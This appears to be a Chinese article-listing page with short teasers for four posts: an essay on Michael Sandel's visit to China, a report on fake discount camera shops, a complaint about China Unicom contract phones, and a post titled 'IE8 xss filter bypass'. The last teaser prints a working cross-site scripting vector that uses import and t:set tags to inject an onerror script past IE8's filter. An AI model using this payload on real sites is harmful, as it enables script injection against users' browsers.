[阅读时间] 钱不该买什么

老系统内容
约 7869 字 预计阅读 16 分钟
美国哈佛大学教授迈克尔·桑德尔去年夏天来了一趟中国。这个一直期待体验胡同的老美逛了北京，去了杭州和上海，还在大学跟年轻人聊了天。不过这趟旅行
阅读全文

半价卖相机？收钱就消失

老系统内容
约 2175 字 预计阅读 5 分钟
聚焦热点 理性透视 记者发现一批数码网店速开速关 专用低价引消费者上当 市场价2万元左右的数码单反相机，在网店上居然只需要不到一半的价钱就可以买到？
阅读全文

联通合约机的黑幕

老系统内容
约 1367 字 预计阅读 3 分钟
前些天去北京中关村被一家联通营业厅的店员给合伙坑了76块大洋，由于当时时间紧加之是字外地没有兄弟，所以只有认栽了。 是那种之前说好买裸机，交了
阅读全文

IE8 xss filter bypass

老系统内容 bypass IE XSS
约 190 字 预计阅读 1 分钟
Note: IE 10 have fixed this issue,and IE8 ... ------------------------------------------------- 1. a <?import ... > tag can also be written as a <import ...> tag. <html> <body> <div> <div id="x">x</div> <xml:namespace prefix="t"> <import namespace="t" implementation="#default#time2"> <t:set attributeName="innerHTML" targetElement="x" to="&lt;img&#11;src=x:x&#11;onerror&#11;=alert(1)&gt;"> </div> </body> </html> the code above will execute script fragment in "to" attribute. Furthermore, we found this xss vector contructed from the three tags (<xml> <import> & <t:set ...>) can bypass
阅读全文